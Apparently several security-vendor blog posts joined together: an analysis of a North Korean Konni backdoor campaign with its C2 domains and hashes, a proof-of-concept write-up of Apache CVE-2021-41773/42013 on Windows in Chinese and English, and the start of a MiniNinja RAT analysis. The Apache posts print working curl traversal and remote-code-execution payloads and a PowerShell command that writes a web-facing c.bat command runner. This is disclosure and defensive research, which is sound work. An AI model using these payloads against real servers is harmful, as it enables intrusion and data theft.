# 摘要

TeamT5近期掌握到一針對俄羅斯外交部的攻擊事件，根據其中的後門程式內容，據信是來自於北韓駭客組織Konni的攻擊行動。該事件中，駭客利用恭賀2022新年為主題的賀卡，寄送魚叉式惡意郵件，若使用者開啟並執行郵件附檔，使用者電腦將會被植入後門程式Sanny，並連線至惡意中繼站，讓駭客長期且持續地控制使用者電腦。

關鍵字：APT、Konni、Sanny、North Korea、Russia

# 事件說明 

TeamT5近日取得一惡意魚叉式電子郵件，駭客偽冒成俄羅斯駐塞爾維亞大使館人員，並向其同事祝賀新年，其收件者包含俄羅斯外交部副部長。郵件內容與螢幕保護程式詳見下圖。


![konni_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131163/konni_pic1_1f749bb061.png)
<center>圖1:惡意郵件內文</center>



![konni_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131163/konni_pic2_544dd383a7.png)
<center>圖2:螢幕保護程式畫面</center>


信件中的附檔經過解壓縮後會得到螢幕保護程式поздравление.scr，執行後將會出現螢幕保護程式並連線至中繼站 ```i758769.atwebpages.com```，下載惡意Payload並透過Base64演算法取得惡意CAB檔案。

惡意CAB檔案執行後會產生三個檔案，分別為安裝檔Installer.bat、後門程式scrnsvc.dll與組態設定檔scrnsvc.ini。當後門程式順利運作時，會連線至中繼站供駭客連線控制使用。詳細攻擊流程詳見下圖。


![konni_pic3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131164/konni_pic3_e02f30a2f0.png)
<center>圖3:攻擊行動示意圖</center>


後門程式scrnsvc.dll與TeamT5的研究情資交叉比對後，持高度信心與北韓駭客組織Konni慣用之後門程式家族Sanny有關。

#樣本分析
## Installer.bat
Installer.bat為批次檔案，其主要用途是將當前目錄下的scrnsvc.dll和scrnsvc.ini複製到 ```%windir%\System32\``` 路徑下。將scrnsvc.dll註冊為scrnsvc服務（ScreenSaver Management Service），並刪除當前目錄的所有檔案，其中包含不存在的檔案wpnprv.dll。


![konni_pic4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131162/konni_pic4_d25a82dcb1.png)
<center>圖4: Installer.bat內容</center>


## scrnsvc.dll
scrnsvc.dll為PE檔案，其檔案編譯時間為UTC 2021-12-20 08:02:38，因此相信是駭客因此次攻擊行動刻意編譯而成的後門程式。

當scrnsvc.dll被註冊為scrnsvc服務後，每當電腦開機將會透過系統程式services.exe帶起scrnsvc服務。scrnsvc.dll會使用服務名稱的SHA256雜湊值作為AES金鑰（CTR mode）來解密寫死（Hard Code）的惡意Payload，Payload包含需重建的導入位置表IAT（Import Address Table）。經過分析，發現連線中繼站的URL位址分別具有upload（up.php）、download（dn.php）和delete（del.php）功能，但並未看到與delete功能相關的程式碼，推測未來後門程式Sanny將會持續進化擴充功能。如下圖所示。


![konni_pic5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131162/konni_pic5_d4003cd8fc.png)
<center>圖5: 連線中繼站URL中包含upload、download和delete</center>


後門程式scrnsvc.dll執行後，會先向中繼站i758769.atwebpages.com取得新的組態設定檔。經過解密分析後，新的中繼站位址分別為 ```455686.c1.biz``` 與 ```h378576.atwebpages.com``` 。連線至新中繼站後，會將unicode UFT-8格式的值65001寫至Console Codepage的註冊機碼當中，後續透過systeminfo、tasklist等指令，蒐集受害主機資料並加密封裝成CAB檔案，回傳至中繼站 ```http://<C2 domain>/up.php?name=<computer_name>``` 上，且預期中繼站回傳 ```success!```。如下圖所示。


![konni_pic6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131164/konni_pic6_1cc73427fc.png)
<center>圖6:利用systeminfo、tasklis蒐集受害主機資料</center>


![konni_pic7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131165/konni_pic7_60f93b8493.png)
<center>圖7:回傳受害主機資訊並預設中繼站接收成功</center>


收到success後，會向中繼站 ```http://<C2 domain>/dn.php?name=<computer_name>&prefix=cc(0)```下載CAB檔案。解密CAB檔案後，會將惡意指令透過CreateProcessAsUserW或CreateProcessW執行。與此之後，都是向中繼站 ```http://<C2 domain>/dn.php?name=<computer_name>&prefix=tt``` 下載新的CAB檔案並解密執行。如下圖所示。

![konni_pic8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131165/konni_pic8_506bdc9b10.png)
<center>圖8: 向中繼站下載控制指令的CAB檔案回來解密執行</center>

# IOC威脅入侵指標
建議將下表的IoC威脅入侵指標匯入環境中的資安防禦設備。

<center>表1: IOC威脅入侵指標</center>

|Type|Value|描述|
|---|---|---|
|MD5|8EC9A6FF22C497375B53344CAFEB2292|поздравление.scr|
|SHA1|FB7D9BC8309F589E39E091EF5A7B08260596FFCD|поздравление.scr|
|SHA256|451B9D4144555FCC791231DB73EF3BFDB6FFDDEB655E07A457108766F0E6AD39|поздравление.scr|
|MD5|8269E1B2AFAA832E7900640EBFE44BB4|Install.bat|
|SHA1|191604259DEF68250272919214AEA109503200FE|Install.bat|
|SHA256|B6845A436DF2B3A79DD1B0E4A57A06C60F718EEE0272A3EB81183EE4750037B9|Install.bat|
|MD5|57A22E74BA27B034613B0C6AC54A10D5|scrnsvc.dll|
|SHA1|C1D312762D598831D431B08E47075047582856AA|scrnsvc.dll|
|SHA256|A3CD08AFD7317D1619FBA83C109F268B4B60429B4EB7C97FC274F92FF4FE17A2|scrnsvc.dll|
|MD5|58560F053A099104B0F8AC1C9FED2903|scrnsvc.ini|
|SHA1|F08C033D1A9F2F75A17CBCB71E3041263D2D3E61|scrnsvc.ini|
|SHA256|24F5FB91CA41E4A191A44629F064FA14C4063B7CDA68EBC2B7AFB7E68A9D3CDD|scrnsvc.ini|
|Domain|```i758769.atwebpages.com```|中繼站（Download Site）|
|Domain|```455686.c1.biz```|中繼站（C2 Server）|
|Domain|```h378576.atwebpages.com```|中繼站（C2 Server）|



*首圖來源：[Pixabay](https://unsplash.com/photos/ux9KoOSHrco)

北韓駭客Konni瞄準俄羅斯政府進行APT入侵攻擊

Technical Analysis

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

# **前言**

Apache HTTP Server 是一個開放原始碼的網頁伺服器軟體，由於其跨平台和方便性，被廣泛使用的 Web 伺服器軟體之一。而近期 Apache HTTP Server 被揭露出兩個高風險漏洞（CVE-2021-41773 以及 CVE-2021-42013），大部分網路上揭露的漏洞利用細節都是著重於 Linux 系統為主，但我們知道 Windows 其實也存在此漏洞問題，我們將於本文揭露完整漏洞利用細節，並且提醒大家務必儘早將 Apache 更新至最新版本，以免落入駭客攻擊的目標！

## **弱點說明**

研究人員發現 Apache 伺服器存在漏洞，攻擊者可藉由發送特製的 HTTP 請求，利用此漏洞來達成路徑列舉或遠端程式碼執行的攻擊效果，以下是使用 CURL 指令實做的 Linux 攻擊程式碼(Payload)：

攻擊成效一：任意下載系統檔案(Path Traversal)

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

攻擊成效二：遠端程式碼執行(Remote Code Execution)

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**漏洞成因**

首先，我們以上面攻擊語法為例，在 Apache 2.4.50 並未妥善修正弱點，故可以使用 double encode 的方式，通殺兩個弱點（CVE-2021-41773 和 CVE-2021-42013），原因是 Apache 在處理外部 HTTP 請求時，會呼叫 ap_process_request_internal 函式對 url 路徑進行處理，在該函式中，首先會呼叫 ap_normalize_path 函式進行一次 url 解碼，之後會呼叫 ap_unescape_url 函式進行二次解碼，可以看圖一為 Apache 2.4.50 未完善修補漏洞的關鍵程式碼，我們可以看到原本第 571 行並沒有檢查編碼後的路徑跳脫，所以從 576 行開始，加上了相對應的檢查，但是檢查仍不完善可透過 double encode 的方式繞過。

![pic 1_new](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641285777/Image_Pasted_at_2022_1_4_15_54_6cee7732be.png)
<center>圖一：Apache 2.4.49 和 2.4.50 程式碼 diff</center>

攻擊語法經過兩次 Decode 過程：

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

所以最後會將此 URI Decode 為：

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

因此，透過上面的簡單說明，我們可以看到原本 Apache 對於使用者傳入的路徑，並沒有完善的檢查路徑跳脫，導致可讓攻擊者輸入惡意 payload 達成攻擊效果。

接下來的重點，我們將來探討 Windows 平台的利用方式及案例：

## **PoC on Windows**

- 我們從官網下載 Apache 並架設為攻擊靶機（IP: 192.168.56.161）

**攻擊成效一：任意下載系統檔案（Path Traversal）**

下圖二範例為讀取 C:/Windows/win.ini 檔案內容

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)
<center>圖二：任意下載系統檔案</center>

**攻擊成效二：遠端程式碼執行（Remote Code Execution）**

1. 透過 cmd.exe 執行 powershell，將 c.bat 寫入 C:\Users\Public\，因為 cgi 程式沒有正確的 http header response，所以會 apache 回覆 status code 500，但其實 script 已經執行成功，請參考下圖三。
![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)
<center>圖三：執行結果畫面</center>

2. 接下來可以透過 c.bat 去執行任意指令，並看到執行結果（如圖四）

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)
<center>圖四：執行結果畫面</center>

此為透過 Process Monitor 工具，記錄下來的程式執行流程（圖五）：

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>圖五：Process Monitor 畫面圖</center>

Process Monitor 程式執行結果圖，仔細觀察會發現執行指令包含特殊字元時，會被雙引號刮起來，e.g. : ```cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."```，因為 cmd.exe 的一些特性，導致指令可以正常執行。

**cmd.exe magic parser**

為了研究Payload為什麼帶了引號還能執行，因此我們延伸分析了cmd遇到不同引號的解析結果

- help documentation

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)

<center>圖六：cmd 執行畫面</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>圖七：cmd 執行畫面</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**powershell write C:\Users\Public\c.bat**

以下為 Powershell script 編碼後的內容：

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

此為 Powershell script 解碼後的內容：

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



# **影響與建議**
- 建議將 Apache 更新至最新版本



# **附錄 cgi-bin how to work**

- 網路上大部分的 Linux PoC 都是使用 POST data 的方式, 這裡則是使用 GET parameter, 特此說明其中的差異.

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- 遠端測試
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



- 解碼無法印出字元
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- 與實際上系統執行結果一致
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



# **參考資料**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*首圖來源: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server(Windows) 2021高風險安全漏洞詳解

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

# **Prologue**

Apache HTTP Server has been the gold standard across the world for decades due to its cross-platform nature and ease-of-use and therefore, it is also the target of plenty of threat actors and exploit researchers. Given the recent disclosure of CVE-2021-41773 and CVE-2021-42013 and the nature of its high severity, numerous outlets have already made a writeup for demonstrating their capabilities.

However, since most of the writeups have primarily focused on the Linux aspect of the vulnerabilities, some may not be aware that platforms such as Windows is just as vulnerable as well. In the following post, we’ll go over how these vulnerabilities can be utilized against Windows hosts with vulnerable Apache HTTP Server.

## **How Does it Work?**

Researchers found that by crafting a special HTTP request, Apache HTTP server can be tricked into creating a path traversal attack or remote code execution (RCE). The following curl commands demonstrate how these two attack methods can be recreated :

Payload 1: Local file inclusion via path traversals

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

Payload 2：Remote code execution via path traversals

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**Root Cause Analysis**

Given the requests shown above, we can see that despite the effort put into fixing the vulnerabilities in Apache HTTP Server 2.4.50, the CVEs can still be reproduced by double-encoding the request. When handling external HTTP requests, the Apache server will pass the request to ```ap_process_request_internal``` to parse the URL path. In the said method, ```ap_normalize_path``` and ```ap_unescape_url``` are called. However, both of these methods will decode the path when handling the input.

Fig 1. is a diff between 2.4.49 and 2.4.50. As one could see, the proposed fix was to handle abnormal characters like ```%2e```. Unfortunately, the fix was only implemented in one of the aforementioned methods. Therefore, one could easily bypass this fix by double-encoding the path.

![pic 1_eng.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641180197/pic_1_eng_4fe4a7c1ff.png)

<center>Figure 1. Diff between Apache 2.4.49 and 2.4.50</center>

After double-encoding our paths, we get:

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

By decoding the path twice…

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

Based on this improper fix, we can see that Apache HTTP Server did not properly validate and normalize the paths, leading to our successful payload execution.

Next, we’ll talk about how these vulnerabilities can be applied on Windows.

## **PoC on Windows**

- The following demo uses a vulnerable version of the Apache HTTP Server at the IP ```192.168.56.161```

**Payload 1: Local File Inclusion via Path Traversal **

```C:/Windows/win.ini``` could be read using this attack vector, as shown in Fig. 2.

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)

<center>Figure 2. Path traversals leading to local file inclusion</center>

**Payload 2：Remote Code Execution**

Through ```cmd.exe```, we can use PowerShell to write a ```c.bat``` file under ```C:\Users\Public```. You might notice that Apache HTTP Server will return with a 500 Internal Server Error (see Fig. 3), that is primarily due to not having a proper HTTP header response from the CGI - in reality, the script did successfully go through and ran on the target host.

![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)

<center>Figure 3. The results after payload execution</center>

We can then specify any command that we desire through this ```c.bat``` file.

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)

<center>Figure 4. Arbitrary code execution via the c.bat file</center>

Here’s what it looks like under Process Monitor:

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>Figure 5. Snapshot from Process Monitor</center>

Note that even if there are special characters in the arguments, ```cmd.exe``` can still properly execute the command thanks to how cmd parses its arguments.

**cmd.exe magic parser**

Under normal circumstances, processes with quoted argument including optional switches shouldn’t be able to run properly - yet, ```cmd.exe``` was able to run with our ```/c``` argument quoted. We delve deeper in order to understand how ```cmd.exe``` was able to achieve this.

- Parser documentation from the help ```/?``` switch

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)


<center>Figure 6. Screenshot of the cmd window with the help switch</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>Figure 7. cmd parser in action</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**Using PowerShell to Write C:\Users\Public\c.bat**

Encoded command through the ```-EncodedCommand``` switch:

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

Decoded script:

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



# **Patches & Remediation**
- Update Apache HTTP Server to the latest version (2.4.50+)



# **Appendix: Working with CGI**

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- Remote shell execution
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



-Decode special characters
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- Identical to the system output
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



# **References**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*Image courtesy of Pixabay: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server Vulnerabilities in Windows (CVE-2021-41773 & CVE-2021-42013)

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

TeamT5 discovered a new remote administration tool (RAT), which we dubbed as MiniNinja, being used in several Chinese APT campaigns. TeamT5 has observed countries across different APAC regions, including Taiwan, Russia, Kyrgyzstan, Uzbekistan, Vietnam, the Philippines, and Pakistan, being targeted and attacked by this malware. The impacted industries include governments, energy, IT, telecommunication and engineering. MiniNinja is a complex malware that uses several advanced techniques to prevent itself from being detected and analyzed. Further, its wide targeting scope also attracted our attention. In this report, we will introduce the technical detail of our analysis.

MiniNinja was first discovered in the wild in a targeted attack against Taiwanese government agencies in early March 2021. The actor leveraged the ProxyLogon vulnerability (CVE-2021-26855) to compromise an email server and further implanted CobaltStrike Beacon and MiniNinja RAT in the victim network environment. This information was also disclosed in an ESET report[1] about a "Websiic Campaign" using the ProxyLogon vulnerability. TeamT5 noticed the existence of this new malware and started tracking its activities. Since then, TeamT5 has observed its footprints in Vietnam[2], Pakistan and the Philippines, possibly also implanted in victim hosts via the ProxyLogon vulnerability. Its latest activities were spear phishing email attacks against Russia and Uzbekistan in September 2021. TeamT5 is still uncertain of the attribution of these attacks. However, we possess high confidence that this is a new tool used by Chinese APT based on its TTPs and C2 infrastructure.

To bypass antivirus detection, MiniNinja is encrypted as a binary blob in a binary payload file. It might have one to multiple loader components in native PE or .Net, but basically the loaders do similar tasks. The loader components will decrypt and run it in memory via reflective DLL injection techniques. Its loader firstly checks the first 4 bytes of the payload file and decrypts the content by using 3DES (112bit) algorithm in case of header check passes:

![2110-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_1_19727d525b.png)

 

The decrypted buffer might be passed to a second stage loader for further processing if there are multiple loader components. The loader will then decode the content by custom decoding methods and LZSS decompression algorithm. The decoded payload is a PE file with its PE header erased and it is just the MiniNinja RAT. Finally, the loader will locate its export function "Debug" and start execution from there:

![2110-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_2_acd0d24736.png)

 

In a payload collected from some Taiwanese victims, there is a PDB string left by the developer (only in memory) and thus we name this malware MiniNinja:

